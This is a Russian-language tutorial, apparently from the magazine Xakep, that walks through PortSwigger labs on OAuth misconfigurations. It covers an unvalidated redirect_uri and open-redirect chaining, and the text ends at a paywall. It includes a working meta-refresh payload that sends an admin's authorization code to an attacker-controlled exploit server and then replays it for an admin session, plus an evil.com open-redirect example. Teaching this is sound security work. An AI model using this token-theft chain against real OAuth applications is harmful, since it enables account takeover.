Се­год­ня раз­берем мис­конфи­ги OAuth, которые встре­чают­ся в дикой при­роде и, хоть сами по себе безобид­ны, в опре­делен­ных усло­виях могут иметь серь­езные пос­ледс­твия — вплоть до похека админ­ских акка­унтов. В этой статье я покажу, как искать такие цепоч­ки уяз­вимос­тей.

Ты, нап­ример, мог слы­шать про Open Redirect, который час­то не вос­при­нима­ют всерь­ез и за обна­руже­ние которо­го не пла­тят Bug Bounty. Но если ты смо­жешь най­ти спо­соб кра­сиво заюзать его и повысить импакт до кра­жи акка­унта, это уже сов­сем дру­гое дело.

info

О том, как устро­ен про­токол OAuth и как экс­плу­ати­руют базовые уяз­вимос­ти в нем, читай в моей пре­дыду­щей статье — «OAuth от и до. Изу­чаем про­токол и раз­бира­ем базовые ата­ки на OAuth».

 

Что будет, если не проверять redirect_uri

Схематичное изображение атаки с подменой redirect_uri
Схе­матич­ное изоб­ражение ата­ки с под­меной redirect_uri

Пер­вый кейс прос­той. redirect_uri — это тот параметр, который говорит сер­веру авто­риза­ции, на какой URL ему нуж­но нап­равить токен пос­ле того, как поль­зователь вой­дет через соци­аль­ную сеть и сог­ласит­ся дать дос­туп к сво­им ресур­сам.

При­ложе­ние на пер­вом эта­пе авто­риза­ции по OAuth, или, в тер­миноло­гии спе­ки, эта­пе Authorization Request, фор­миру­ет ссыл­ку и ука­зыва­ет в качес­тве это­го парамет­ра под­кон­троль­ный ему эндпо­инт.

Ког­да ты вхо­дишь через Discord на сайт Midjourney, ссыл­ка выг­лядит при­мер­но так:

<https://discord.com/login>
?redirect_to=https://midjourney.com/oauth2/authorize
?response_type=code
&client_id=936929561302675456
&redirect_uri=https://www.midjourney.com/__/auth/handler
&state=AMbdmDkycu0e3INVMzD9TaBJsUz4DqLki0MEElniTdiomtU7ejHQwa-zsdFLI3lv11Dlz0syNqa-sQ_fO9vwS_buX5sfKH_JjP1GJfgq8P0yzkAwTKOFRgZgp1Trz61FhuNd99rep6mYA_0NZniAmHeU31AHLer3ENc9UYhlPv3F0d10TtqAo3jrHFTDnzmWBoryBJbuP1dHH7fmo-UKkqedWNxmSNnOqOIE2erMiwibVnP3bhpWZKH-ka0UB6FesAGOGyaNKZG1KY92X8Rai5ceovEDCRId9vW2q_GLwVTixPua1vD1ChLxPi7QgIiRQCk
&scope=identify email guilds.join guilds.members.read role_connections.write
&context_uri=https://www.midjourney.com

В этом зап­росе говорит­ся о том, что в кон­це флоу сер­вер авто­риза­ции не толь­ко выда­ет код, но и дол­жен вер­нуть поль­зовате­ля на сайт при­ложе­ния midjourney.como/auth2/authorize.

По‑хороше­му в парамет­ре redirect_uri дол­жен быть вай­тлист ссы­лок, на которые мож­но редирек­тить. Такие ссыл­ки обыч­но ука­зыва­ет вла­делец при­ложе­ния, ког­да его регис­три­рует. Это поз­воля­ет обру­бать зап­рос, если кто‑то под­ста­вит свой redirect_uri.

Ес­ли вай­тлис­та нет, это соз­дает прос­транс­тво для манипу­ляций. Зло­умыш­ленник может взять ссыл­ку из пер­вого эта­па и заменить в ней redirect_uri под­кон­троль­ным ему сер­висом, выложить ее где‑нибудь в соци­аль­ных сетях и украсть токен пос­ле того, как кто‑нибудь уже авто­ризо­ван­ный в Discord и в Midjourney перей­дет по ней (то же спра­вед­ливо и для дру­гих пар при­ложе­ний и OAuth-про­вай­деров).

Сей­час мы раз­берем это под­робнее на реаль­ном при­мере.

 

Лаба: OAuth account hijacking via redirect_uri

Стар­туем и ока­зыва­емся на глав­ной стра­нице со стран­ной кар­тинкой.

Главная страница блога
Глав­ная стра­ница бло­га

Как и рань­ше, про­ходим весь флоу с логином, что­бы соб­рать все зап­росы и спо­кой­но про­ана­лизи­ровать их. Заходим под акка­унтом wiener.

Уведомление об успешном логине
Уве­дом­ление об успешном логине

И ока­зыва­емся в лич­ном кабине­те.

Личный кабинет
Лич­ный кабинет

Флоу авто­риза­ции прой­ден, перехо­дим в Burp. Находим Authorization Request (тот зап­рос на сер­вер авто­риза­ции, на который нас перенап­равило при­ложе­ние) и отправ­ляем его в Repeater.

Имен­но в этой ссыл­ке есть уяз­вимый redirect_uri, который мы и будем экс­плу­ати­ровать.

Запрос на авторизацию
Зап­рос на авто­риза­цию

Уяз­вимость зак­люча­ется в том, что в при­ложе­нии сер­вера авто­риза­ции дол­жным обра­зом (вооб­ще никак) не про­веря­ется redirect_uri. А это зна­чит, что, под­менив его, мы можем нап­равить поль­зовате­ля на собс­твен­ную стра­ницу, что­бы залоги­ровать чужой токен.

Пос­мотрим, как это про­исхо­дит на прак­тике. Меня­ем в нашем зап­росе тот URI, который был ука­зан, на адрес экс­пло­ит‑сер­вера. Он выда­ется в лабора­тори­ях вро­де этой, и его мож­но най­ти в вер­хнем меню.

Кнопка с переходом к эксплоит-серверу
Кноп­ка с перехо­дом к экс­пло­ит‑сер­веру

Пе­рехо­ди туда, копируй ссыл­ку и встав­ляй ее в качес­тве парамет­ра redirect_uri.

Ссылка на эксплоит-сервер
Ссыл­ка на экс­пло­ит‑сер­вер

У меня это выг­лядит так.

Подмена redirect_uri адресом эксплоит-сервера
Под­мена redirect_uri адре­сом экс­пло­ит‑сер­вера

Мож­но нажать пра­вой кноп­кой мыши и выб­рать Copy URL, что­бы ско­пиро­вать всю ссыл­ку и пос­мотреть в бра­узе­ре, как про­изой­дет редирект и в логах появит­ся наш токен.

Ниг­де ничего вво­дить уже не надо (так как мы уже вош­ли на всех сай­тах и дали сог­ласие), прос­то ты про­шел цепоч­ку редирек­тов, и вот уже токен залоги­рован на нашем экс­пло­ит‑сер­вере или сер­вере зло­умыш­ленни­ка.

OAuth-токен в access-логах
OAuth-токен в access-логах

Это наш собс­твен­ный токен, а нам нужен токен адми­нис­тра­тора. Так что воз­вра­щаем­ся на глав­ную стра­ницу экс­пло­ит‑сер­вера и берем ту же самую раз­метку с редирек­том, которую мы уже исполь­зовали в лабора­тори­ях из прош­лой статьи. Толь­ко на этот раз меня­ем URL на тот, который мы толь­ко что скраф­тили, где redirect_uri ведет на наш сер­вер.

У меня получи­лось так.

<meta http-equiv="refresh" content="0; url=https://oauth-0aa1008d031d3e2f8262ddfe02b500bd.oauth-server.net/auth?client_id=thtwm4tl3pzj84mokh19e&redirect_uri=https://exploit-0a0c001703f13e0f82e0de55011a000f.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" />

Встав­ляем HTML-раз­метку в поле Body и сох­раня­ем кноп­кой Store.

HTML-разметка для эксплоита
HTML-раз­метка для экс­пло­ита

Те­перь у нас есть стра­ница, на которую может зай­ти адми­нис­тра­тор, и тог­да мы укра­дем его учет­ку. При посеще­нии стра­ницы про­изой­дет цепоч­ка редирек­тов для авто­риза­ции. Пос­коль­ку он уже залоги­нен в соци­аль­ной сети, в кон­це кон­цов он будет перенап­равлен на наш сер­вер, где мы и залоги­руем его OAuth-токен из URL.

На­жима­ем Deliver exploit to victim. В зависи­мос­ти от наг­рузки на сер­веры PortSwigger зап­рос может прий­ти с неболь­шой задер­жкой. Мне приш­лось подож­дать нес­коль­ко минут (в течение которых я жал одну и ту же кноп­ку), и в кон­це кон­цов мне при­лете­ло нес­коль­ко десят­ков зап­росов с токеном адми­нис­тра­тора.

Много залогированных токенов админа
Мно­го залоги­рован­ных токенов адми­на

Ко­пиру­ем пос­ледний при­шед­ший токен и встав­ляем в зап­рос /oauth-callback. Если все прой­дет нор­маль­но, сер­вер дол­жен отдать куки и показать, что мы залоги­нены. Так и про­изош­ло. Появи­лась ссыл­ка на панель адми­нис­тра­тора, а это зна­чит, что мы не прос­то заш­ли, а заш­ли как админ.

Отправка украденного кода, чтобы получить сессию админа
От­прав­ка укра­ден­ного кода, что­бы получить сес­сию адми­на

За­ходим через бра­узер, уда­ляем поль­зовате­ля carlos и нас­лажда­емся победой над еще одной лабой.

Уведомление об успешном прохождении лабы
Уве­дом­ление об успешном про­хож­дении лабы
 

Злоупотребление открытым редиректом в связке с OAuth

Схематичное изображение Open Redirect
Схе­матич­ное изоб­ражение Open Redirect

Да­вай крат­ко вспом­ним, что вооб­ще такое Open Redirect.

info

Open Redirect, или откры­тое перенап­равле­ние, — это такая уяз­вимость, ког­да веб‑при­ложе­ние допус­кает перенап­равить поль­зовате­ля на про­изволь­ные внеш­ние URL-адре­са без дол­жной про­вер­ки.

Нап­ример, у нас есть сайт Google. Он не нуж­дает­ся в пред­став­лении, у него боль­шой кре­дит доверия, и все ком­пании счи­тают, что домен google.com безопас­ный, поэто­му дают ему некото­рые пос­лабле­ния, добав­ляя в собс­твен­ные белые спис­ки.

Но если зло­умыш­ленни­ки най­дут на нем Open Redirect, то они смо­гут вос­поль­зовать­ся этим довери­ем и исполь­зовать его, что­бы соз­дать ссыл­ку на собс­твен­ный C2-сер­вер, обхо­дя детек­тирова­ние некото­рых анти­виру­сов.

Вот при­мер такой ссыл­ки:

https://www.google.com/url?sa=t&url=https://evil.com

Она была бы уяз­вимой, если бы сра­зу нап­равля­ла на ука­зан­ный сайт. Хорошим тоном счи­тает­ся пре­дуп­реждать поль­зовате­ля, что он покида­ет легитим­ный сайт, и не выпол­нять редирект без его сог­ласия.

Предупреждение о небезопасном сайте
Пре­дуп­режде­ние о небезо­пас­ном сай­те

Сам по себе Open Redirect не очень опа­сен, кро­ме пог­ранич­ного слу­чая, свя­зан­ного с вре­доно­сами, который я опи­сал выше. Но его час­то исполь­зуют в связ­ке с экс­плу­ата­цией дру­гих веб‑уяз­вимос­тей, ког­да он ста­новит­ся по‑нас­тояще­му гроз­ным ору­жием, поз­воля­ющим обхо­дить мно­гие филь­тры, заточен­ные на про­вер­ку по регуляр­ке или подс­тро­ке.

К при­меру, сайт может про­верять, что redirect_uri начина­ется толь­ко с https://example.com. Если на этом example.com получит­ся най­ти Open Redirect, то мож­но будет и прой­ти про­вер­ку, и экс­плу­ати­ровать уяз­вимость, что­бы украсть токен через OAuth.

 

Лаба: Stealing OAuth access tokens via an open redirect

Как всег­да, откры­ваем лабора­торию и попада­ем на глав­ную стра­ницу бло­га.

Главная страница блога
Глав­ная стра­ница бло­га

Ло­гиним­ся через соци­аль­ную сеть.

Вход через социальную сеть
Вход через соци­аль­ную сеть

Смот­рим исто­рию зап­росов, берем Authorization Request и пыта­емся пов­торить трюк из пре­дыду­щей лабы — для это­го заменя­ем redirect_uri каким‑нибудь сво­им, нап­ример адре­сом экс­пло­ит‑сер­вера.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии